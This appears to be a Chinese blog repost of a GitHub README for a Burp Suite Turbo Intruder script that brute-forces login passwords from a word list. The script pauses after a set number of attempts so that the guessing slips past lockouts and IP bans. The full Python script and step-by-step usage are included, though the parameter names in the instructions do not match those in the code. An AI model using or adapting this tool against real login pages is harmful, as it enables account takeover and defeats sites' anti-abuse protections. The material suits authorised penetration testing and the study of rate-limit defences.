burp插件之爆破定时暂停脚本 防止ip被封

burp插件之爆破定时暂停脚本 防止ip被封

简介

渗透测试登录凭据时,通常可以在指定数量的测试请求后设置暂停时间,以避免目标站点阻止攻击,这通常很有用。

许多网站针对此类重复的登录请求实施了网络防御措施,以防止滥用,并且在用户尝试了一定次数的登录尝试(例如10或20次登录)后,这种攻击通常会发挥作用。

在设定的一段时间内不再发出任何其他请求之后(通常为几分钟到一个小时),该应用程序通常会允许用户继续进行证书猜测请求。

该脚本允许BurpSuite Intruder遍历密码列表,但具有在发出指定数量的请求后在攻击中间设置暂停的功能。每次暂停后,攻击会自动恢复。


例如,此脚本可以使用凭据列表运行前20个用户名/密码请求,将脚本暂停10分钟,然后从下一个脚本继续执行接下来的20个请求,暂停10分钟,然后运行接下来的20个请求等,直到尝试了整个凭据列表为止。

要求:

安装了Turbo-Intruder的BurpSuite的免费或付费版本。

使用说明:

从此存储库下载script1_0.py。
右键单击要测试的登录请求(在Burp的“代理”选项卡中或在“入侵者”选项卡中),然后选择“ Turbo Intruder”,这将打开另一个显示要测试的请求的窗口。在Turbo-Intruder窗口的上半部分(在“ Raw”选项卡中),通过输入“%s”(不带引号)替换密码字符串,例如password =%s。在同一窗口的下半部分,您将看到默认的Turbo脚本。

在那里,您必须复制并粘贴script1_0.py的内容,替换整个窗口这一部分的内容。
在粘贴脚本的第一行中,您将看到“ #Parameters to configuration”,您可以在其中编辑以下内容:

tryWords =暂停前要尝试的密码数。

用法示例:tryWords = 20timeMins =要暂停的分钟数。
用法示例:tryMins = 0 timeSecs =暂停的秒数。
用法示例:trySecs = 5 valveMillisecs =每个请求之前要等待的毫秒数。
用法示例: crunchMillisecs = 200该脚本从必须名为`words.txt’的.txt文件中读取密码列表,并将其复制到BurpSuite主目录(Brup exe文件所在的目录)中。
单击Turbo窗口底部的“攻击”以执行脚本。请注意,这仅在Burp Intruder中的“狙击”攻击类型上进行了测试。可能需要对上述参数进行一些调整,以确保此脚本针对要测试的特定目标起作用。

项目地址

GitHub: RPR-Run-Pause-Resume

script1_0.py文件内容

import time

# Parameters to configure
triedWords=20
timeMins=0
timeSecs=5
throttleMillisecs=200

# Find more example scripts at https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.py
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           pipeline=False,
                           engine=Engine.BURP
                           )
    engine.start() 

    for i in range(3, 8):
        engine.queue(target.req, randstr(i), learn=1)
        engine.queue(target.req, target.baseInput, learn=2)

    secs=timeMins*60+timeSecs
    n=0
    for word in open('words.txt'):
        time.sleep(throttleMillisecs/1000)
        engine.queue(target.req, word.rstrip())
        n+=1
        if(n==triedWords):
         time.sleep(secs)
         n=0

def handleResponse(req, interesting):
    if interesting:
        table.add(req)